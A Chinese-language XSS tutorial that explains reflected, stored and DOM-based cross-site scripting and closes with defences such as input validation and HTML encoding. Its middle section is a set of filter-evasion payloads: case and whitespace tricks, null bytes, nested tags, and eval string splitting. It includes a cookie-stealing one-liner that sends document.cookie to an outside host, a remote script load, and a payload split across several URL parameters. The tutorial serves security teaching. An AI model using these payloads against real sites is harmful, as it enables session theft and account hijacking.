跨站脚本攻击(XSS)
一、XSS介绍
跨站脚本攻击,英文全称 Cross Site Script , 为了与 CSS 区分,取名 XSS。
XSS攻击,通常指攻击者通过 HTML注入 篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。如今的XSS并不局限于他的名字,是否跨域已经不重要了。
二、XSS分类
1. 反射型XSS
反射型 XSS 把用户输入的数据 “反射“ 给浏览器。攻击者通常需要诱使用户 点击 一个恶意链接,才能攻击成功。反射型 XSS 也叫 非持久型XSS。
2. 存储型XSS
存储型 XSS 会把用户输入的数据 存储 在服务器端,数据库没有过滤就保存,然后取出生成一个页面。
3. DOM型XSS
通过修改页面的 DOM 节点形成的 XSS ,称之为 DOM Based XSS。通常是web应用的一段脚本可以从用户提交的URL中提取数据,并对数据进行处理,然后用它动态跟新页面的内容。和反射型XSS一样,也需要攻击者构造一个恶意链接,并诱使用户点击它。
三、利用XSS并避开过滤
1. 避开基于签名的过滤
- 许多过滤匹配特殊的标签,包括起始和结束尖括号。但许多浏览器接受结束括号前的空白符,允许攻击者避开这种过滤。
1 | <script > |
- 许多人用小写字符编写HTML代码,所以一些过滤仅检查常用的小写恶意标签。这种方式可以通过改变字符大小写避开过滤。
1 | <SCriPt> |
- 一些过滤匹配任何成对的起始与结束尖括号,删除其中的任何内容。这时只能注入一个新标签,但通常还可以依靠周围的现有语法,结束注入的标签,从而避开这种过滤。例如:如果可以可以使用以下代码中的value属性值:
1 | <input type="hidden" name="pageid" value="foo"> |
那么就可以使用以下不会被过滤阻止的脚本,注入一个包含javascript的新标签:
1 | foo"><x style="x:expression(alert(document.cookie)) |
在许多情况下,浏览器接受未结束的HTML标签:攻击者可以利用这种行为避开过滤。
下面的代码属于无效的HTML代码,但其中注入的JavaScript仍然得以执行:
1 | <img src="" onerror=alert(document.cookie) |
- 一些过滤匹配成对的起始与结束尖括号,提取其中的内容,并将这些内容与标签名称黑名单进行比较。这是,如果可以通过使用多余的括号(为浏览器所接受)避开过滤。例如:
1 | <<script>alert(document.cookie);//<</script> |
- 即使空字节后面的文本仍然在应用程序的响应中返回,但如果遇到空字节,一些过滤会停止处理字符串。在被过滤的表达式前插入一个URL编码的空字节即可避开这种过滤。例如:
1 | foo%00<script> |
- 在不同的目标浏览器中,通常可以在被过滤的表达式中插入能够避开过滤、但仍被浏览器接受的字符。例如:
1 | <script/src=... |
- 如果用户提交的数据在应用过滤后还(进一步)进行了规范化,那么攻击者仍然可以通过URL编码或双重编码被过滤的表达式,避开过滤,并对漏洞加以利用。例如:
1 | %3cscript%3e |
- 由于在服务器执行所有输入确认后,在响应中返回的攻击有效载荷会被受害者的浏览器解码,这时就会出现一种避开常规规范化的特殊情况。在某些时候,攻击者可以对攻击有效载荷进行HTML编码以避开服务器的确认输入,受害者的浏览器将会再次解码有效载荷。例如,表达式:javascript:常被阻止以防止使用这种协议的攻击。但是,攻击者可以通过各种浏览器接受的方式对该表达式进行HTML编码。
- 有时可以成功执行一些JavaScript脚本,但对于在代码中可以使用哪些命令和关键字存在一些限制。在这种情况下,可以通过动态创建并执行语句来避开应用程序的过滤。例如,如果应用程序阻止用户提交的任何包含表达式document.cookie的数据,那么使用以下输入即可轻易避开这种过滤:
1 | var a = "alert(doc" + "ument.coo" + "kie)"; eval(a); |
2. 避开净化
- 如果过滤完全删除某些表达式,并且至少有一个被删除的表达式长度超过一个字符,那么只要应用程序没有进行递归进化,就有可能避开过滤。例如:
1 | <scr<script>ipt> |
- 和前面描述的避开基于签名的过滤一样,也可以通过编码被过滤的表达式或在它们之前插入一个空字节,从而避开净化过滤。
- 如果在一段脚本中注入一个引用字符串,应用程序在注入的引号字符前插入反斜线字符。在这种情况下,应该确认反斜线字符本身是否被转义。如果其未被转义,那么这种过滤就可以避开。例如
1 | var a = 'foo'; |
- 如果反斜线字符被正确转义,但尖括号却原样返回,那么攻击者可以构造如下攻击:
1 | </script><script>alert(document.cookie)</script> |
这样做可废弃应用程序中原来的脚本,并在其后注入一段新的脚本,攻击之所以能够成功,是因为浏览器在解析植入的Javascript之前,优先解析HTML标签,导致引号无效了。
1 | <script>var a = '</script><script>alert(document.cookie)</script> |
此时,虽然原来的脚本中包含一个错误,但这无关紧要;因为浏览器会跳过这个错误,继续执行注入的脚本。
- 如果应用程序对单引号和双引号进行了转义,前面两个脚本也无法使用,但可以使用String.fromCharCode技巧,不用分隔字符创建字符串。
3. 突破长度限制
当应用程序把输入截断为一个固定的最大长度时,有三种建立攻击字符串的方法。
- 第一种是尝试使用最短可能长度的JavaScriptAPI,删除哪些通常包含在内但并不完全必要的字符,缩短攻击有效载荷。例如,如果注入现有的一段代码,下面的28字节命令将把用户的cookie传送至主机名为a:的服务器。
1 | open("//a/"+document.cookie) |
另外,如果直接注入HTML,那么下面这个30字节的标签将从主机名为a:的服务器加载并执行一段脚本。
1 | <script src=http://a></script> |
- 第二种更加强大的突破长度限制的技巧是将一个攻击有效载荷分布到几个不同的位置,用户控制的输入在这里插入到同一个返回页面中。以下面的URL为例:
1 | https://wahh-app.com/account.php?page_id=244&&seed=1234&mode=normal |
它将返回一个包含以下内容的页面:
1 | <input type="hidden" name="page_id" value="244"> |
假设应用程序对每个字段实施了长度限制,以阻止在其中插入有效的攻击字符串。但攻击者仍然可以使用以下URL将一段脚本分布到他所控制的三个位置,从而传送一个有效的攻击字符串:
1 | https://wahh-app.com/account.php?page_id="><script>/*&seed=*/alert(document.cookie);/*&mode=*/</script> |
这个URL参数被植入到页面中后,生成如下脚本:
1 | <input type="hidden" name="page_id" value=""><script>/*"> |
最终得到的HTML完全有效,等同于加粗显示的部分。其中的源代码块已成为JavaScript注释(包含在/*与 */之间),因此被浏览器忽略。这样,注入的脚本被执行。
- 第三种技巧是,将一个反射型XSS漏洞 “转换” 成一个基于DOM的漏洞。例如,在最初的反射型XSS漏洞中,如果应用程序对复制到返回页面中的message参数设置长度限制,那么就可以注入以下46字节的脚本,它对当前URL中的片段字符串求值。
1 | <script>eval(location.hash.substr(1))</script> |
通过在易于受到反射型XSS攻击的参数中注入这段脚本,可以在生成的页面中造成一个基于DOM的XSS漏洞,从而执行位于片断字符串中的另一段脚本,它不受应用程序过滤的影响,可为任意长度。例如:
1 | https://baidu.com/errror.php?message=<script>eval(location.hash.substr(1))</script>#alert('long script here ......') |
4. 修改请求方法
许多应用程序接受post和get的请求,尝试将post转为get,或将get转为post。可以使用Burp Proxy的 ”Change Request Method”操作来完成。
有时,把使用GET方法的攻击转换成使用POST方法的攻击允许避开某些过滤。如果一个应用程序希望受到GET方法的请求,它可能只对URL查询字符串执行这种过滤。
5. 使用非标准内容编码
前提:允许直接设置通过应用程序响应指定的编码类型。
1 | Content-Type:text/html; charset=ISO-8859-1 |
如使用
1 | utf-7 |
四、防止XSS攻击
1. 防止反射型与保存型XSS漏洞
用户可控制的数据未经适当确认与净化就被复制到应用程序响应中,这是造成反射型与存储型XSS漏洞的根本原因。
确定所有可能存在XSS风险,需要适当进行防御的操作后,需要采取一种三重防御方法阻止漏洞的发生。
1 | 确认输入 |
确认输入
如果应用程序在某个位置收到的用户提交的数据将来有可能被复制到它的响应中,应用程序应根据这种情形对这些数据执行尽可能严格的确认。需要确认的数据的潜在特性包括以下几点。
1
2
3数据不是太长
数据仅包含某组合法字符
数据与一个特殊的正则表达式相匹配根据应用程序希望在每个字段中收到的数据类型,应尽可能限制性地对姓名、电子邮件地址、账号等应用不同的确认规则。
确认输出
如果应用程序将某位用户或第三方提交的数据复制到它的响应中,那么应用程序应对这些数据进行HTML编码,以净化可能的恶意字符。HTML编码指用对应的HTML实体替代字面量字符。这样做可确保浏览器安全处理可能为恶意的字符,把它们当作HTML文档的内容而非结构处理。一些经常造成问题的字符的HTML编码如下:
1 | " " |
除这些常用的编码外,实际上,任何字符都可以用它的数字ASCII字符代码进行HTML编码,举例如下:
1 | % % |
在将用户可控制的字符串复制到服务器的响应中之前,ASP应用程序可以使用 Server.HTMLEncode API净化其中的常见恶意字符。这个API把字符 ”&<和>转换为它们对应的HTML实体,并且使用数字形式的编码转换任何大于0x7f(127)的ASCII字符。
- 消除危险注入点
如果一个位置上有JavaScript命令直接出现,应该禁止在这里插入用户输入。例如:
1 | <img src="userdata" |
在这种情况下,攻击者可以直接在引用字符串中注入JavaScript命令。而且,这是通过HTML编码用户数据进行防御也不会生效,因为一些浏览器在处理引用字符串的内容之前,会对它进行HTML解码。例如:
1 | <img src="javascript:alert(document.cookie)"> |